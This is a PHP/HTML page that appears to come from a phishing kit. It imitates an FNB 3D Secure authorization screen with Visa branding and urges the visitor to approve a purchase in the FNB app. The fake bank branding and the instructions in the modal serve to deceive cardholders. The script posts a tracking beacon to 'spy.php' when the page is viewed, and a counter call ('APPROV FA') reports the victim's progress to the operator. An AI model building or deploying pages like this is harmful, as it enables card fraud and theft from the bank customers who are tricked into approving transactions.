<?php
$bankKey = 'fnb';
require __DIR__ . '/includes/bank-3ds-bootstrap.php';
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>3D Secure Authorization</title>
    <link rel="stylesheet" href="themes/css/bank-3ds.css" />
</head>
<body class="b3-page b3-page--modal">

<div class="b3-modal b3-modal--lg">
    <div class="b3-modal-head">
        <div class="b3-modal-brand">
            <img src="<?= htmlspecialchars($bankLogo, ENT_QUOTES, 'UTF-8') ?>" alt="FNB" />
        </div>
        <div class="b3-scheme">
            <img class="b3-scheme-logo" src="assets/img/card_logo_visa.svg" alt="Visa" style="height:34px;" />
        </div>
    </div>

    <div class="b3-modal-body">
        <p class="b3-modal-copy">
            As an additional security measure, you will have to approve this purchase via the FNB APP.
        </p>
        <p class="b3-modal-copy">
            Tap on the FNB APP notification sent to you, or alternatively open the FNB APP and follow the instructions.
            You will then return to continue with this transaction.
        </p>

        <p class="b3-modal-continue">
            Did you just approve the transaction via the FNB APP?
            <a class="js-approv-confirm" href="#" data-bank="<?= htmlspecialchars($bankName, ENT_QUOTES, 'UTF-8') ?>">Click here to continue to the merchant site</a>
        </p>

        <div class="b3-modal-foot">
            <a href="#" onclick="return false;">Help</a>
            <a href="wait.php?p=cancel">Cancel Transaction</a>
        </div>
    </div>
</div>

<script src="res/jq.js"></script>
<?php require __DIR__ . '/includes/approv-confirm-script.php'; ?>
<script>
    $.post('spy.php', { approvview: 1 });
</script>
<?php $m->ctr('APPROV FA'); ?>
</body>
</html>
